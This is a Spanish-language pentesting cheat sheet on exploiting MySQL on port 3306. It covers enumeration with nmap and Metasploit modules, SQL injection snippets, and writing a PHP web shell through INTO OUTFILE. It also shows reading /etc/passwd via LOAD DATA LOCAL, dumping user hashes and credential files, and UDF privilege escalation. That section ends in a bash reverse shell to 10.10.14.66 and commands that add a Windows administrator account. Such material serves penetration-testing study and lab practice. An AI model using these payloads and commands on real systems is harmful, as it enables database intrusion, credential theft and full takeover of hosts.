3306 - MYSQL
Explotando el servicio de Bases de Datos relacionales MySQL.
INFORMACIÓN BÁSICA
MySQL es el sistema de gestión de bases de datos relacional más extendido en la actualidad al estar basada en código abierto.
MySQL cuenta con una doble licencia. Por una parte es de código abierto, pero por otra, cuenta con una versión comercial gestionada por la compañía Oracle.
Trabaja con bases de datos relacionales, es decir, utiliza tablas múltiples que se interconectan entre sí para almacenar la información y organizarla correctamente, además, al ser basada en código abierto es fácilmente accesible.
Sus características más importantes son:
Arquitectura Cliente y Servidor
Utiliza lenguaje SQL
Vistas -> En bases de datos grandes, las vistas se convierten en un recurso fundamental. Desde MySQL 5.0 se pueden utilizar vistas personalizadas.
Procedimientos almacenados -> MySQL no procesa las tablas directamente sino que a través de procedimientos almacenados lo que mejora la eficacia.
Automatización de tareas
fuente (adaptado): https://openwebinars.net/blog/que-es-mysql/
CONECTARSE
Local
mysql -u root # Se conecta a root sin contraseña.
mysql -u root -p # Se pedirá una contraseña para acceder.Remoto
mysql -h <Hostname> -u root -p
mysql -h <Hostname> -u root@localhostTambién se puede conectar a la Base de Datos incluyendo un documento de texto con los comandos SQL a realizar o marcando los comandos en la misma sintaxis:
mysql -u username -p < manycommands.sql # Un archivo con todos los comandos a ejecutar
mysql -u root -h 127.0.0.1 -e 'show databases;'Bases de Datos / Tablas por defecto
ALL_PLUGINS APPLICABLE_ROLES CHARACTER_SETS CHECK_CONSTRAINTS COLLATIONS COLLATION_CHARACTER_SET_APPLICABILITY COLUMNS COLUMN_PRIVILEGES ENABLED_ROLES ENGINES EVENTS FILES GLOBAL_STATUS GLOBAL_VARIABLES KEY_COLUMN_USAGE KEY_CACHES OPTIMIZER_TRACE PARAMETERS PARTITIONS PLUGINS PROCESSLIST PROFILING REFERENTIAL_CONSTRAINTS ROUTINES SCHEMATA SCHEMA_PRIVILEGES SESSION_STATUS SESSION_VARIABLES STATISTICS SYSTEM_VARIABLES TABLES TABLESPACES TABLE_CONSTRAINTS TABLE_PRIVILEGES TRIGGERS USER_PRIVILEGES VIEWS INNODB_LOCKS INNODB_TRX INNODB_SYS_DATAFILES INNODB_FT_CONFIG INNODB_SYS_VIRTUAL INNODB_CMP INNODB_FT_BEING_DELETED INNODB_CMP_RESET INNODB_CMP_PER_INDEX INNODB_CMPMEM_RESET INNODB_FT_DELETED INNODB_BUFFER_PAGE_LRU INNODB_LOCK_WAITS INNODB_TEMP_TABLE_INFO INNODB_SYS_INDEXES INNODB_SYS_TABLES INNODB_SYS_FIELDS INNODB_CMP_PER_INDEX_RESET INNODB_BUFFER_PAGE INNODB_FT_DEFAULT_STOPWORD INNODB_FT_INDEX_TABLE INNODB_FT_INDEX_CACHE INNODB_SYS_TABLESPACES INNODB_METRICS INNODB_SYS_FOREIGN_COLS INNODB_CMPMEM INNODB_BUFFER_POOL_STATS INNODB_SYS_COLUMNS INNODB_SYS_FOREIGN INNODB_SYS_TABLESTATS GEOMETRY_COLUMNS SPATIAL_REF_SYS CLIENT_STATISTICS INDEX_STATISTICS USER_STATISTICS INNODB_MUTEXES TABLE_STATISTICS INNODB_TABLESPACES_ENCRYPTION user_variables INNODB_TABLESPACES_SCRUBBING INNODB_SYS_SEMAPHORE_WAITS
columns_priv column_stats db engine_cost event func general_log gtid_executed gtid_slave_pos help_category help_keyword help_relation help_topic host index_stats innodb_index_stats innodb_table_stats ndb_binlog_index plugin proc procs_priv proxies_priv roles_mapping server_cost servers slave_master_info slave_relay_log_info slave_worker_info slow_log tables_priv table_stats time_zone time_zone_leap_second time_zone_name time_zone_transition time_zone_transition_type transaction_registry user
accounts cond_instances events_stages_current events_stages_history events_stages_history_long events_stages_summary_by_account_by_event_name events_stages_summary_by_host_by_event_name events_stages_summary_by_thread_by_event_name events_stages_summary_by_user_by_event_name events_stages_summary_global_by_event_name events_statements_current events_statements_history events_statements_history_long events_statements_summary_by_account_by_event_name events_statements_summary_by_digest events_statements_summary_by_host_by_event_name events_statements_summary_by_program events_statements_summary_by_thread_by_event_name events_statements_summary_by_user_by_event_name events_statements_summary_global_by_event_name events_transactions_current events_transactions_history events_transactions_history_long events_transactions_summary_by_account_by_event_name events_transactions_summary_by_host_by_event_name events_transactions_summary_by_thread_by_event_name events_transactions_summary_by_user_by_event_name events_transactions_summary_global_by_event_name events_waits_current events_waits_history events_waits_history_long events_waits_summary_by_account_by_event_name events_waits_summary_by_host_by_event_name events_waits_summary_by_instance events_waits_summary_by_thread_by_event_name events_waits_summary_by_user_by_event_name events_waits_summary_global_by_event_name file_instances file_summary_by_event_name file_summary_by_instance global_status global_variables host_cache hosts memory_summary_by_account_by_event_name memory_summary_by_host_by_event_name memory_summary_by_thread_by_event_name memory_summary_by_user_by_event_name memory_summary_global_by_event_name metadata_locks mutex_instances objects_summary_global_by_type performance_timers prepared_statements_instances replication_applier_configuration replication_applier_status replication_applier_status_by_coordinator replication_applier_status_by_worker replication_connection_configuration replication_connection_status replication_group_member_stats replication_group_members rwlock_instances session_account_connect_attrs session_connect_attrs session_status session_variables setup_actors setup_consumers setup_instruments setup_objects setup_timers socket_instances socket_summary_by_event_name socket_summary_by_instance status_by_account status_by_host status_by_thread status_by_user table_handles table_io_waits_summary_by_index_usage table_io_waits_summary_by_table table_lock_waits_summary_by_table threads user_variables_by_thread users variables_by_thread
host_summary host_summary_by_file_io host_summary_by_file_io_type host_summary_by_stages host_summary_by_statement_latency host_summary_by_statement_type innodb_buffer_stats_by_schema innodb_buffer_stats_by_table innodb_lock_waits io_by_thread_by_latency io_global_by_file_by_bytes io_global_by_file_by_latency io_global_by_wait_by_bytes io_global_by_wait_by_latency latest_file_io memory_by_host_by_current_bytes memory_by_thread_by_current_bytes memory_by_user_by_current_bytes memory_global_by_current_bytes memory_global_total metrics processlist ps_check_lost_instrumentation schema_auto_increment_columns schema_index_statistics schema_object_overview schema_redundant_indexes schema_table_lock_waits schema_table_statistics schema_table_statistics_with_buffer schema_tables_with_full_table_scans schema_unused_indexes session session_ssl_status statement_analysis statements_with_errors_or_warnings statements_with_full_table_scans statements_with_runtimes_in_95th_percentile statements_with_sorting statements_with_temp_tables sys_config user_summary user_summary_by_file_io user_summary_by_file_io_type user_summary_by_stages user_summary_by_statement_latency user_summary_by_statement_type version wait_classes_global_by_avg_latency wait_classes_global_by_latency waits_by_host_by_latency waits_by_user_by_latency waits_global_by_latency x$host_summary x$host_summary_by_file_io x$host_summary_by_file_io_type x$host_summary_by_stages x$host_summary_by_statement_latency x$host_summary_by_statement_type x$innodb_buffer_stats_by_schema x$innodb_buffer_stats_by_table x$innodb_lock_waits x$io_by_thread_by_latency x$io_global_by_file_by_bytes x$io_global_by_file_by_latency x$io_global_by_wait_by_bytes x$io_global_by_wait_by_latency x$latest_file_io x$memory_by_host_by_current_bytes x$memory_by_thread_by_current_bytes x$memory_by_user_by_current_bytes x$memory_global_by_current_bytes x$memory_global_total x$processlist x$ps_digest_95th_percentile_by_avg_us x$ps_digest_avg_latency_distribution x$ps_schema_table_statistics_io x$schema_flattened_keys x$schema_index_statistics x$schema_table_lock_waits x$schema_table_statistics x$schema_table_statistics_with_buffer x$schema_tables_with_full_table_scans x$session x$statement_analysis x$statements_with_errors_or_warnings x$statements_with_full_table_scans x$statements_with_runtimes_in_95th_percentile x$statements_with_sorting x$statements_with_temp_tables x$user_summary x$user_summary_by_file_io x$user_summary_by_file_io_type x$user_summary_by_stages x$user_summary_by_statement_latency x$user_summary_by_statement_type x$wait_classes_global_by_avg_latency x$wait_classes_global_by_latency x$waits_by_host_by_latency x$waits_by_user_by_latency x$waits_global_by_latency
ENUMERACIÓN
Externa
Utilizando nmap o msf:
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, CredsCOMANDOS SQL
show databases;
use <database>;
show tables;
describe <table_name>;
show columns from <table>;
select grantee, table_schema, privilege_type FROM schema_privileges; #Exact privileges
select user,file_priv from mysql.user where user='root'; #File privileges
select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name
#Conseguir una shell con el usuario de MySQL
\! sh
#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"
#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'
#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;EXPLOTACIÓN
Lectura arbitraria de archivos por cliente
Cuando intentas cargar archivos locales en una tabla, el servidor de MySQL o MariaDB hace que el contenido del archivo sea leido por el cliente y después enviado.
Por ese motivo, si eres capaz de iniciar un cliente MySQL y conectarlo a tu propio servidor MySQL, podrías leer archivos arbitrarios.
mysql -u <USER> -p --enable-local-infile
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';Es importante utilizar el modificador local, ya que sino podemos obtener el siguiente error:
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv
option so it cannot execute this statementPOST-EXPLOTACIÓN
Comprobar el usuario de MySQL
Es muy interesante comprobar, después del acceso inicial a un objetivo, si el usuario root es el que maneja MySQL por que se puede utilizar para escalar privilegios.
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1Configuraciones Peligrosas
El archivo de configuración por defecto es:
mysqld.cnfuser
marca qué usuario ejecuta el servicio MySQL
password
marca la contraseña para dicho usuario
admin_address
marca la IP en la que mantenerse a la escucha para conexiones TCP/IP en la interfaz de administración
debug
Esta variable indica los ajustes de debug.
sql_warnings
Esta variable controla si las consultas INSERT de una sola linea generan un aviso en caso necesario (Puede implicar la existencia de información crítica en los Logs).
secure_file_priv
Esta variable controla los privilegios en las acciones de importación y exportación.
Escalada de privilegios
Cheatsheet
# Conseguir los privilegios y los hashes de todos los usuarios.
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;
# One-liner para conseguir los credenciales.
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"
# Crear un usuario y darle privilegios (dependiendo de los privilegios que tengamos nosotros).
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;
# Conseguir una shell. Muy util para sudo/suid privesc)
\! shEscalada de Privilegios vía Librería UDF
Si el servidor MySQL está corriendo como root (u otro usuario con más privilegios que tú) puedes hacer que ejecute comandos. Para ello necesitas funciones definidas por el usuario o User Defined Functions. Y para crear una de esas funciones necesitas una librería para el Sistema Operativo que está corriendo MySQL.
La librería maliciosa se encuentra dentro de sqlmap o metasploit. Podemos utilizar el comando locate "*lib_mysqludf_sys*" para encontrarla. El archivo .so es la librería de Linux y el archivo .dll es la versión de Windows.
Si no tiene las librerías, puede buscarlas o descargarlas de aquí y compilarlas en la máquina LINUX vulnerable (no está para Windows)
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lcAhora que ya tenemos ubicada nuestra librería, nos conectamos al servidor MySQL como root y realizamos los siguiente:
Linux
# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');Windows
# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_files('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");Extraer credenciales de MySQL de otros archivos
/etc/mysql/debian.cnf
Dentro del mismo podemos encontrar credenciales en texto claro del usuario debian-sys-maint y estos credenciales se pueden utilizar para loguearse en MySQL.
/var/lib/mysql/mysql/user.MYD
Se pueden encontrar todos los hashes que se pueden extraer de mysql.user.
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD |
grep -v "mysql_native_password"Activar los logs
Se pueden activar los logs de MySQL en el archivo /etc/mysql/my.cnf descomentando las siguientes lineas:

Archivos útiles
Archivos de configuración
WINDOWS *
config.ini
my.ini
windows\my.ini
winnt\my.ini
<InstDir>/mysql/data
UNIX
my.cnf
/etc/my.cnf
/etc/mysql/my.cnf
/var/lib/mysql/my.cnf
~/.my.cnf
/etc/my.cnf
Command History
~/.mysql.history
Log Files
connections.log
update.log
common.log
Última actualización
¿Te fue útil?